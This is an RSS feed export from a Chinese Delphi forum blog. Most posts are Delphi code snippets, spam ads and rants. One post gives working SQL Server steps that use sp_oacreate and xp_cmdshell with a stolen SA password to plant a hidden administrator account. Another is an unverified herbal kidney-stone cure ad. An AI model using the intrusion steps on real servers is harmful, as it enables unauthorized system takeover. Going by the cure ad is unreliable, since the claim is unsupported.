<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
	<title>富翁笔记 - Delphibbs.com Blogs</title>
	<link>http://www.delphibbs.com/keylife/iblog_list.asp</link>
	<description>富翁笔记是大富翁论坛提供的 blog 服务。版权声明：富翁笔记所有文章的版权和版权责任属于作者本人，未经许可严禁任何形式的复制和转载，违者将负法律责任。</description>

	<generator>RSS Generated by Delphibbs.com-BLog</generator>

<item>
	<title><![CDATA[MTreeView 增加Delphi自带的 treeview的checkbox ]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31488</link> 
	<pubDate>2009-7-2 8:30:49</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31488</guid>
	<description><![CDATA[////////////////////////////////////////////////////////<br>//<br>//    2006.3创建 iamy<br>//    2006.11 修订 增加OnCheck OnQueryCheck事件<br>//<br>////////////////////////////////////////////////////////<br>unit MTreeView;<br><br>interface<br>uses<br>   Windows, Classes, SysUtils, Messages, ComCtrls, Controls, CommCtrl;<br><br>Const<br>  TVIS_CHECKED = $2000;<br><br>type<br><br>  TMTreeViewQueryCheckEvent = procedure(Sender: TObject;Node: TTreeNode;var Cancheck: Boolean) of object;<br>  TMTreeViewCheckEvent = procedure(Sender: TObject;Node: TTreeNode) of object;<br><br><br>  TMTreeView = Class (TCustomTreeView)<br>  private<br>    FCheckBoxes: Boolean;<br>    FEdting : Boolean;<br>    FOnQueryCheck: TMTreeViewQueryCheckEvent;<br>    FOnCheck: TMTreeViewCheckEvent;<br>    procedure SetCheckBoxes(const Value: Boolean);<br>    procedure SetComCtlStyle(Ctl: TWinControl; Value: Integer; UseStyle: Boolean);<br>    procedure SetOnQueryCheck(const Value: TMTreeViewQueryCheckEvent);<br>    procedure DoCheckNode(Node : TTreeNode;Checked: Boolean);<br>    procedure DoCheck(X,Y:Integer);<br>    procedure DoQueryNCheck(Node: TTreeNode);<br>    procedure CNKeyDown(var Message: TWMKeyDown); message CN_KEYDOWN;<br>    procedure WMLButtonDown(var Message: TWMLButtonDown); message WM_LBUTTONDOWN;<br>    procedure CNNotify(var Message: TWMNotify); message CN_NOTIFY;<br>    procedure SetOnCheck(const Value: TMTreeViewCheckEvent);<br>  protected<br>    procedure Loaded;override;<br>  public<br>    function NodeChecked(Node: TTreeNode):Boolean;<br>    procedure CheckNode(Node: TTreeNode; Checked: Boolean;CallBackEvent : Boolean);<br>    procedure CheckAllNode(Checked: Boolean;CallBackEvent : Boolean);<br>  published<br>    property CheckBoxes :Boolean read FCheckBoxes write SetCheckBoxes;<br>    property OnQueryCheck : TMTreeViewQueryCheckEvent read FOnQueryCheck write SetOnQueryCheck;<br>    property OnCheck: TMTreeViewCheckEvent read FOnCheck write SetOnCheck;<br>    property Align;<br>    property Anchors;<br>    property AutoExpand;<br>    property BevelEdges;<br>    property BevelInner;<br>    property BevelOuter;<br>    property BevelKind default bkNone;<br>    property BevelWidth;<br>    property BiDiMode;<br>    property BorderStyle;<br>    property BorderWidth;<br>    property ChangeDelay;<br>    property Color;<br>    property Ctl3D;<br>    property Constraints;<br>    property DragKind;<br>    property DragCursor;<br>    property DragMode;<br>    property Enabled;<br>    property Font;<br>    property HideSelection;<br>    property HotTrack;<br>    property Images;<br>    property Indent;<br>    property MultiSelect;<br>    property MultiSelectStyle;<br>    property ParentBiDiMode;<br>    property ParentColor default False;<br>    property ParentCtl3D;<br>    property ParentFont;<br>    property ParentShowHint;<br>    property PopupMenu;<br>    property ReadOnly;<br>    property RightClickSelect;<br>    property RowSelect;<br>    property ShowButtons;<br>    property ShowHint;<br>    property ShowLines;<br>    property ShowRoot;<br>    property SortType;<br>    property StateImages;<br>    property TabOrder;<br>    property TabStop default True;<br>    property ToolTips;<br>    property Visible;<br>    property OnAddition;<br>    property OnAdvancedCustomDraw;<br>    property OnAdvancedCustomDrawItem;<br>    property OnChange;<br>    property OnChanging;<br>    property OnClick;<br>    property OnCollapsed;<br>    property OnCollapsing;<br>    property OnCompare;<br>    property OnContextPopup;<br>    property OnCreateNodeClass;<br>    property OnCustomDraw;<br>    property OnCustomDrawItem;<br>    property OnDblClick;<br>    property OnDeletion;<br>    property OnDragDrop;<br>    property OnDragOver;<br>    property OnEdited;<br>    property OnEditing;<br>    property OnEndDock;<br>    property OnEndDrag;<br>    property OnEnter;<br>    property OnExit;<br>    property OnExpanding;<br>    property OnExpanded;<br>    property OnGetImageIndex;<br>    property OnGetSelectedIndex;<br>    property OnKeyDown;<br>    property OnKeyPress;<br>    property OnKeyUp;<br>    property OnMouseDown;<br>    property OnMouseMove;<br>    property OnMouseUp;<br>    property OnStartDock;<br>    property OnStartDrag;<br>    { Items must be published after OnGetImageIndex and OnGetSelectedIndex }<br>    property Items;<br><br>  end;<br><br>implementation<br><br>{ TMTreeView }<br><br>procedure TMTreeView.CheckNode(Node: TTreeNode; Checked: Boolean;CallBackEvent : Boolean);<br>var<br>  Cancheck : Boolean;<br>begin<br>  CanCheck := True;<br>  if CallBackEvent then<br>    if Assigned(Self.FOnQueryCheck) then<br>      Self.FOnQueryCheck(Self,Node,CanCheck);<br><br>  if CanCheck then<br>  begin<br>    Self.DoCheckNode(Node,Checked);<br>    if CallBackEvent then<br>      if Assigned(Self.FOnCheck) then<br>        Self.FOnCheck(Self,Node);<br>  end;<br>end;<br><br><br>procedure TMTreeView.CheckAllNode(Checked: Boolean;CallBackEvent : Boolean);<br>var<br>  i : Integer;<br>begin<br>  for i := 0 to Self.Items.Count -1 do<br>  begin<br>    Self.CheckNode(Self.Items[i],Checked,CallBackEvent);<br>  end;<br>end;<br><br>procedure TMTreeView.DoCheck(X,Y:Integer);<br>var<br>  Node: TTreeNode;<br>  RectAll : TRect;<br>  RectTxt : TRect;<br>  CheckBoxOffSet : Integer;<br>  CheckWidth : Integer;<br>begin<br>  if Self.CheckBoxes then<br>  begin<br>    Node := GetNodeAt(X,Y);<br>    if Node &lt;&gt; nil then<br>    begin<br>      RectAll := Node.DisplayRect(False);<br>      RectTxt := Node.DisplayRect(True);<br>      if Assigned(Self.Images) then<br>      begin<br>        CheckBoxOffset := Self.Images.Width + 4;<br>        CheckWidth := Self.Images.Width ;<br>      end else<br>      begin<br>        CheckBoxOffset := 1;<br>        CheckWidth := 16;<br>      end;<br><br>      if (X &lt;= RectTxt.Left - CheckBoxOffset) and (X &gt; RectTxt.Left - CheckWidth - CheckBoxOffSet) and (Y &gt;= RectAll.Top) and (Y &lt; RectAll.Bottom) then<br>      begin<br>        Self.DoQueryNCheck(Node);<br>      end;<br>    end;<br>  end;<br>end;<br><br>procedure TMTreeView.Loaded;<br>begin<br>  inherited;<br>  SetComCtlStyle(Self,TVS_CHECKBOXES,FCheckBoxes);<br>end;<br><br>function TMTreeView.NodeChecked(Node: TTreeNode): Boolean;<br>var<br>  TvItem :TTVItem;<br>begin<br>  TvItem.Mask  := TVIF_STATE;<br>  TvItem.hItem := Node.ItemId;<br>  TreeView_GetItem(Node.TreeView.Handle, TvItem);<br>  Result := (TvItem.State and TVIS_CHECKED) = TVIS_CHECKED;<br>end;<br><br><br>procedure TMTreeView.SetCheckBoxes(const Value: Boolean);<br>begin<br>  if Value&lt;&gt;Self.FCheckBoxes then<br>  begin<br>    FCheckBoxes := Value;<br>    SetComCtlStyle(Self,TVS_CHECKBOXES,Value);<br>    if not value then Self.Perform(CM_RECREATEWND,0,0);<br>  end;<br>end;<br><br>procedure TMTreeView.SetComCtlStyle(Ctl: TWinControl; Value: Integer;<br>  UseStyle: Boolean);<br>var<br>  Style: Integer;<br>begin<br>  if Ctl.HandleAllocated then<br>  begin<br>    Style := GetWindowLong(Ctl.Handle, GWL_STYLE);<br>    if not UseStyle then Style := Style and not Value<br>    else Style := Style or Value;<br>    SetWindowLong(Ctl.Handle, GWL_STYLE, Style);<br>  end;<br>end;<br><br><br>procedure TMTreeView.SetOnQueryCheck(const Value: TMTreeViewQueryCheckEvent);<br>begin<br>  FOnQueryCheck := Value;<br>end;<br><br>procedure TMTreeView.WMLButtonDown(var Message: TWMLButtonDown);<br>begin<br>  Inherited;<br>  DoCheck(Message.XPos,Message.YPos);<br>end;<br><br>procedure TMTreeView.DoCheckNode(Node: TTreeNode; Checked: Boolean);<br>var<br>  TvItem :TTVItem;<br>begin<br>  FillChar(TvItem, SizeOf(TvItem), 0);<br>  with TvItem do begin<br>    hItem     := Node.ItemId;<br>    Mask      := TVIF_STATE;<br>    StateMask := TVIS_STATEIMAGEMASK;<br>    if Checked then<br>      TvItem.State :=TVIS_CHECKED<br>    else<br>      TvItem.State :=TVIS_CHECKED shr 1;<br>    TreeView_SetItem(Node.TreeView.Handle, TvItem);<br>  end;<br>end;<br><br>procedure TMTreeView.CNNotify(var Message: TWMNotify);<br>var<br>  Pt : TPoint;<br>  Node : TTreeNode;<br>begin<br>  Inherited;<br>  with Message do<br>  begin<br>    PostMessage(TWinControl(Owner).Handle,WM_User,NMHdr^.code,0);<br>    case NMHdr^.code of<br>      -410 :<br>      begin<br>        Self.FEdting := True;<br>      end;<br>      -411 :<br>      begin<br>        Self.FEdting := False;<br>        GetCursorPos(Pt);<br>        Pt := Self.ScreenToClient(Pt);<br>        Node := Self.GetNodeAt(Pt.X,Pt.Y);<br>        Self.DoCheckNode(Node,not Self.NodeChecked(Node));<br>      end;<br>    end;<br>  end;<br>end;<br><br>procedure TMTreeView.SetOnCheck(const Value: TMTreeViewCheckEvent);<br>begin<br>  FOnCheck := Value;<br>end;<br><br>procedure TMTreeView.DoQueryNCheck(Node: TTreeNode);<br>begin<br>  Self.DoCheckNode(Node,Not Self.NodeChecked(Node));<br>  Self.CheckNode(Node,Not Self.NodeChecked(Node),True);<br>end;<br><br>procedure TMTreeView.CNKeyDown(var Message: TWMKeyDown);<br>begin<br>  inherited;<br>  if Message.CharCode = VK_SPACE then<br>    if Assigned(Self.Selected) then<br>    begin<br>      Self.DoCheckNode(Self.Selected,Not Self.NodeChecked(Self.Selected));<br>      Self.DoQueryNCheck(Self.Selected);<br>      Self.DoCheckNode(Self.Selected,Not Self.NodeChecked(Self.Selected));<br>    end;<br><br>end;<br><br>end. <br><br><br> <br>]]></description>
	<author>yujinxin</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31488</comments>
	<dc:creator>yujinxin</dc:creator>
</item>

<item>
	<title><![CDATA[copy  from keylife]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31487</link> 
	<pubDate>2009-7-1 19:17:11</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31487</guid>
	<description><![CDATA[http://www.delphibbs.com/keylife/iblog_show.asp?xid=16004 <br><br> <br>]]></description>
	<author>zhengrong117</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31487</comments>
	<dc:creator>zhengrong117</dc:creator>
</item>

<item>
	<title><![CDATA[复制web内容]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31486</link> 
	<pubDate>2009-7-1 19:12:43</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31486</guid>
	<description><![CDATA[javascript:document.body.contentEditable='true'; document.designMode='on';!msn1dai  ]]></description>
	<author>zhengrong117</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31486</comments>
	<dc:creator>zhengrong117</dc:creator>
</item>

<item>
	<title><![CDATA[将字符串分隔]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31485</link> 
	<pubDate>2009-7-1 10:38:09</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31485</guid>
	<description><![CDATA[procedure Split (S: string; SplitChar: string; R: TStrings); //将字符串分隔<br>var<br>  P, L, C: Integer;<br>begin<br>  R.Clear;<br>  L := Length (S);<br>  //确定分隔符的长度，以便删除字符串中的相应字符<br>  C := Length (SplitChar);<br>  //循环分隔字符串<br>  repeat<br>  P := Pos (SplitChar, S);<br>  //如果在字符串中没有找到分隔符，说明为最后一个<br>  if P = 0 then C := 1;<br>    R.Add (Copy (S, P C, L));<br>    Delete(S, P, L);<br>  until P = 0;<br>end;<br><br>]]></description>
	<author>de410</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31485</comments>
	<dc:creator>de410</dc:creator>
</item>

<item>
	<title><![CDATA[治肾结石不用开刀]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31484</link> 
	<pubDate>2009-7-1 9:47:36</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31484</guid>
	<description><![CDATA[    朋友,如你有肾结石只要石头不超绿豆大小,本人只要帮你配10付家传中草药包好,QQ:408628408,祝你早日康复.]]></description>
	<author>彭柏林</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31484</comments>
	<dc:creator>彭柏林</dc:creator>
</item>

<item>
	<title><![CDATA[WINDOWS常用命令行工具]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31483</link> 
	<pubDate>2009-6-30 14:27:16</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31483</guid>
	<description><![CDATA[http://topic.csdn.net/u/20090628/01/8F6A8FF4-AFE1-4B14-AB78-E5442E7004B9.html<br>WINDOWS常用命令行工具]]></description>
	<author>luoyanqing119</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31483</comments>
	<dc:creator>luoyanqing119</dc:creator>
</item>

<item>
	<title><![CDATA[最新Microsoft SQL Server SA权限入侵方法]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31482</link> 
	<pubDate>2009-6-30 12:57:46</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31482</guid>
	<description><![CDATA[在获得SA密码后，往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用，无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象，用来管理本地资源，利用它可以不依靠CMD等命令就能添加一个管理员，具体代码如下：<br><br><br>　　set wsnetwork=CreateObject(&quot;WSCRIPT.NETWORK&quot;)<br>　　os=&quot;WinNT://&quot;&amp;wsnetwork.ComputerName<br>　　Set ob=GetObject(os) '得到adsi接口,绑定<br>　　Set oe=GetObject(os&amp;&quot;/Administrators,group&quot;) '属性,admin组<br>　　Set od=ob.Create(&quot;user&quot;,&quot;test&quot;) '建立用户<br>　　od.SetPassword &quot;1234&quot; '设置密码<br>　　od.SetInfo '保存<br>　　Set of=GetObject(os&amp;&quot;/test&quot;,user) '得到用户<br>　　oe.add os&amp;&quot;/test&quot;<br><br><br>　　将上面的代码保存为1.vbs，然后执行，命令为“cscript 1.vbs”，这样就会在系统添加一个系统名为test，密码为1234的用户。具体在查询分析器执行的代码如下：<br><br><br>　　declare @o int, @f int, @t int, @ret int<br>　　exec sp_oacreate 'scripting.filesystemobject', @o out<br>　　exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject<br>　　(&quot;WSCRIPT.NETWORK&quot;)'<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'os=&quot;WinNT://&quot;&amp;wsnetwork.<br>　　ComputerName'<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject<br>　　(os&amp;&quot;/Administrators,group&quot;)'<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create<br>　　(&quot;user&quot;,&quot;test&quot;)'<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword &quot;1234&quot;'<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject<br>　　(os&amp;&quot;/test&quot;,user) '<br>　　exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&amp;&quot;/test&quot;'<br><br><br>　　执行完上面的语句，再执行下面这行代码，这行代码一定单独执行，不要与上面的放在一起执行，否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户：<br><br><br>　　exec master..xp_cmdshell 'cscript c:\1.vbs'<br><br><br>　　如果系统用户没有添加成功，有可能是因为系统用户的密码1234的太简单，不符合服务器的复杂密码策略，可以考虑设置的复杂些，然后再测试一下。也可以使用echo将代码写到1.vbs中，代码格式为：<br><br><br>　　exec master..xp_cmdshell 'echo set wsnetwork=CreateObject(&quot;WSCRIPT.NETWORK&quot;)<br>　　&gt;&gt;1.vbs']]></description>
	<author>dawnsoft</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31482</comments>
	<dc:creator>dawnsoft</dc:creator>
</item>

<item>
	<title><![CDATA[play Red free games]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31480</link> 
	<pubDate>2009-6-30 7:40:40</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31480</guid>
	<description><![CDATA[<div id="Published By Juziyue-[4]1_C7B6E5F6D1D64B7E9F16FF6D7BEE0D4C_FA00F80166E34D2EB1A1271D696FC5C1"><p><img style="DISPLAY: inline; MARGIN-LEFT: 0px; MARGIN-RIGHT: 0px" src="http://www.wetogames.com/image2/play-Red-free-games_5_30_2009.jpg" align="left"/> Keep the falling balls from hitting your base.<br/> How to play <a href="http://www.wetogames.com/Skill/2009-06-29/play-Red-free-games_5_30_2009.html"><font color="#0066CC">Red free games</font></a>:<br/> Mouse = Aim &amp; Shoot small bullets Spacebar = Shoot larger bullets</p></div>]]></description>
	<author>kaixin9628</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31480</comments>
	<dc:creator>kaixin9628</dc:creator>
</item>

<item>
	<title><![CDATA[让stringgrid的fixedcols、fixedrows文字居中，内容居右]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31479</link> 
	<pubDate>2009-6-29 19:42:03</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31479</guid>
	<description><![CDATA[procedure Tmain.StGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;<br>  Rect: TRect; State: TGridDrawState);<br>begin<br>  //StGrid1.Canvas.Brush.Color:=clBtnFace;//co即为你所需要的颜色<br>  //StGrid1.Canvas.FrameRect(Rect);<br>  StGrid1.Canvas.FillRect(Rect); <br>  if ( ARow = 0 ) or (ACol=0)then <br>   begin<br>    //StGrid1.Canvas.FillRect(Rect);<br>    DrawText(StGrid1.Canvas.Handle,<br>    pChar(StGrid1.Cells[ACol,ARow]),<br>    Length(StGrid1.Cells[ACol,ARow]),<br>    Rect, // 包含文字的矩形<br>    DT_CENTER or // 水平居中 DT_RIGHT 水平居右<br>    DT_SINGLELINE or // 不折行<br>    DT_VCENTER) // 垂直居中 ;<br>   end<br>   else<br>    //StGrid1.Canvas.FillRect(Rect);<br>    DrawText(StGrid1.Canvas.Handle,<br>    pChar(StGrid1.Cells[ACol,ARow]),<br>    Length(StGrid1.Cells[ACol,ARow]),<br>    Rect, // 包含文字的矩形<br>    DT_Right or // 水平居右 DT_CENTER 水平居中<br>    DT_SINGLELINE or // 不折行<br>    DT_VCENTER) // 垂直居中 ;<br>end;]]></description>
	<author>de410</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31479</comments>
	<dc:creator>de410</dc:creator>
</item>

<item>
	<title><![CDATA[Tennis Game]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31478</link> 
	<pubDate>2009-6-29 7:40:31</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31478</guid>
	<description><![CDATA[<div id="Published By Juziyue-[4]1_4524A0D67B58482192CB83DD920D9921_3BC6AE4C46F34A0E90F85052C57DBE89"><p>Step onto the court with the top female tennis players of the world!<br/> <br/> How to play <a href="http://www.wetogames.com/Sports/2009-06-28/play-Tennis-Game-free-games_5_29_2009.html" target="_blank">Tennis flash Games</a>:<br/> Arrows = Move<br/> Space = Swing Racket</p></div>]]></description>
	<author>kaixin9628</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31478</comments>
	<dc:creator>kaixin9628</dc:creator>
</item>

<item>
	<title><![CDATA[111111111111111111111111111]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31475</link> 
	<pubDate>2009-6-28 17:39:55</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31475</guid>
	<description><![CDATA[33333333333333333333333333333333333]]></description>
	<author>kaixin9628</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31475</comments>
	<dc:creator>kaixin9628</dc:creator>
</item>

<item>
	<title><![CDATA[D11的帮助]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31474</link> 
	<pubDate>2009-6-28 16:08:28</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31474</guid>
	<description><![CDATA[　　 对于 Borland 的帮助文档，应该不止我一个人觉得好。当你有什么不明白的时候，按个 F1，总能找到你想要的东西，对于一些重要的内容，帮助文档里，还会举例给你看，接受 Borland 的文档帮助，真是一个愉悦过程；这也是我常常向使用 VC 的朋友炫耀，他们却没办法反驳的。<br>　　 可惜，这都是 D5D7 年代的事了。如今到了 D11，查帮助文档，简直能把你气死。<br>　　 举过例子，我们要查找 AS_RowRequest，D7 的帮助文档结果是：<br>//--------------D7-------------------------<br>Returns information from a specified record of the provider抯 dataset.<br><br>Delphi syntax:<br><br>function AS_RowRequest(const ProviderName: WideString; Row: OleVariant; RequestType: Integer; var OwnerData: OleVariant): OleVariant; safecall;<br><br>C++ syntax:<br><br>virtual HRESULT __safecall AS_RowRequest(const WideString: ProviderName, OleVariant Row, int RequestType, OleVariant: &amp;OwnerData, OleVariant &amp;RowRequest_result) = 0 ;<br><br>Description<br><br>Client datasets call AS_RowRequest automatically to implement their FetchBlobs, FetchDetails , or RefreshRecord method.<br><br>The ProviderName parameter indicates the provider associated with the dataset from which information should be fetched.<br><br>The Row parameter is an OleVariant that describes the current record on the client dataset.<br><br>The RequestType parameter indicates the type of information required. It is an integer version of the TFetchOptions type. (An integer because the value may be marshaled to a remote application server). To create a value for RequestType, take the corresponding TFetchOptions value, cast it to a Byte, and cast the result to an Integer:<br><br>Integer(Byte([foBlobs, foDetails]));<br>	(int) (Byte) (TFetchOptions() &lt;&lt; foBlobs &lt;&lt; foDetails);<br><br>OwnerData contains custom information that is supplied by a client dataset抯 BeforeRowRequest event handler. This information is passed to the provider抯 BeforeRowRequest event handler. OwnerData returns custom information supplied by the provider抯 AfterRowRequest event handler.<br><br>The requested data is returned as a delta packet in RowRequest_result (C++).<br>//-------------------------------------------------------<br>　　 D11呢？你看：<br>//-------------------D11---------------------------------<br>Pascal<br>function AS_RowRequest(const ProviderName: WideString; Row: OleVariant; RequestType: Integer; var OwnerData: OleVariant): OleVariant; safecall;<br>Description<br>This is AS_RowRequest, a member of class IAppServer.<br>//-------------------------------------------------------<br>　　 Fu.ck !]]></description>
	<author>Kisber</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31474</comments>
	<dc:creator>Kisber</dc:creator>
</item>

<item>
	<title><![CDATA[创维26L16SW 孔距 液晶电视支架 旋转电视支架]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31473</link> 
	<pubDate>2009-6-28 1:18:36</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31473</guid>
	<description><![CDATA[<div id="Published By Juziyue-[4]1_2B293184F07F4103BF40A41B1C2E2ABF_E51F1FA7B2504BA2A511530EA3D7B36C"><div class="pb31"><u><a title="创维26L16SW--综述" href="http://product.pcpop.com/000040487/Index.html" target="_self"><font color="#800080">综述</font></a></u></div> <!--标签头1结束--><!--标签头2开始--> <div class="pb32"><u><a title="创维26L16SW--报价" href="http://product.pcpop.com/000040487/Price.html" target="_self"><font color="#800080">报价</font></a></u></div> <!--标签头2结束--><!--标签头3开始--> <div class="pb32"><u><a title="创维26L16SW--图片" href="http://product.pcpop.com/000040487/Picture.html" target="_self"><font color="#800080">图片</font></a></u></div> <!--标签头3结束--><!--标签头4开始--> <div class="pb32"><u><a title="创维26L16SW--参数" href="http://product.pcpop.com/000040487/Detail.html" target="_self"><font color="#800080">参数</font></a></u></div> <!--标签头4结束--><!--标签头6开始--> <div class="pb32"><u><a title="创维26L16SW--评论" href="http://product.pcpop.com/000040487/Comment.html" target="_self"><font color="#800080">评论</font></a></u></div> <!--标签头6结束--><!--标签头7开始--> <div class="pb32"><u><a title="创维26L16SW--评测" href="http://product.pcpop.com/000040487/Article.html" target="_self"><font color="#800080">评测</font></a></u></div> <!--标签头7结束--><!--标签头8开始--> <div class="pb32"><u><a title="创维26L16SW--促销" href="http://18.pcpop.com/LCDTV/00000_1.html" target="_blank"><font color="#800080">促销</font></a></u></div> <!--标签头8结束--><!--标签头9开始--> <div class="pb32"><u><a title="创维26L16SW--论坛" href="http://bbs.pcpop.com/005000080-00797-000040487-1_right.html" target="_blank"><font color="#800080">论坛</font></a></u></div> <div class="pb32"><u><font color="#800080">&nbsp;</font></u></div> <div class="pb32"> <div class="juntuee11"><u><font color="#800080">创维26L16SW特性</font></u></div> <div class="juntuee2"> <div class="juntuee21"><u><a href="http://product.pcpop.com/000040487/Features.html"><font color="#800080">创维 26L16SW</font></a></u></div> <div class="juntuee22"><u><font color="#800080">&nbsp;&nbsp;&nbsp; ● 六基色图像处理技术<br/> &nbsp;&nbsp;&nbsp; ● V12数字引擎<br/> &nbsp;&nbsp;&nbsp; ● Blue wave无线蓝波<br/> &nbsp;&nbsp;&nbsp; ● 高清USB流媒体技术<br/> &nbsp;&nbsp;&nbsp; ● 画中画、双视窗<br/> &nbsp;&nbsp;&nbsp; ● 高亮度600cd/m2<br/> &nbsp;&nbsp;&nbsp; ● 超高对比度1200:1<br/> &nbsp;&nbsp;&nbsp; ● 超快响应时间8ms<br/> &nbsp;&nbsp;&nbsp; ● 超宽可视角度178°<br/> &nbsp;&nbsp;&nbsp; ● 物理分辨率1366x768<br/> &nbsp;&nbsp;&nbsp; ● HDMI高清晰多媒体端口<br/></font></u></div> </div> <div class="juntuee23"><u><a href="http://product.pcpop.com/000040487/Features.html" target="_blank"><font color="#800080">查看创维26L16SW详细特性&gt;&gt;</font></a></u></div> <!--最终首页特性区块结束--> <div class="juntueer"> <div class="juntuee3"> <div class="juntuee11"><u><font color="#800080">创维26L16SW主要参数</font></u></div> </div> <div class="juntuee4"> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/714350.html">液晶电视尺寸</a></span>：<span title="26英寸">26英寸</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/714340.html">亮度</a></span>：<span title="600cd/㎡">600cd/㎡</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/714341.html">对比度</a></span>：<span title="1200:1">1200:1</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/714345.html">分辨率</a></span>：<span title="1366×768">1366×768</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/714343.html">响应时间</a></span>：<span title="8ms">8ms</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/754689.html">分量端子</a></span>：<span title="支持">支持</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42">D-Sub接口</span>：<span title="1组">1组</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42">TV端子</span>：<span title="1组">1组</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/754688.html">AV端子</a></span>：<span title="支持">支持</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42"><a style="COLOR: #366fb6" href="http://bbs.pcpop.com/061102/714349.html">比例</a></span>：<span title="16:9">16:9</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42">机身尺寸</span>：<span title="692×557×225mm">692×557×225m...</span></font></u></div> <div class="juntuee41"><u><font color="#800080"><span class="maywed42">机身净重</span>：<span title="11.500kg">11.500kg</span></font></u></div> </div> <div class="juntuee5"> <div class="juntuee51"></div> <div class="juntuee52"> <div class="juntuee53" style="PADDING-RIGHT: 0px; COLOR: #333333"><u><font color="#800080">快速定位：</font></u></div> <u><font color="#800080"><a href="http://product.pcpop.com/000040487/Detail.html#000318" target="_self">面板规格</a>&nbsp;&nbsp;<a href="http://product.pcpop.com/000040487/Detail.html#000156" target="_self">影像参数</a>&nbsp;&nbsp;<a href="http://product.pcpop.com/000040487/Detail.html#000321" target="_self">音效参数</a>&nbsp;&nbsp;<a href="http://product.pcpop.com/000040487/Detail.html#000320" target="_self">输入输出</a>&nbsp;&nbsp;<a href="http://product.pcpop.com/000040487/Detail.html#000161" target="_self">外观参数</a>&nbsp;&nbsp;</font></u></div> </div> </div> <div 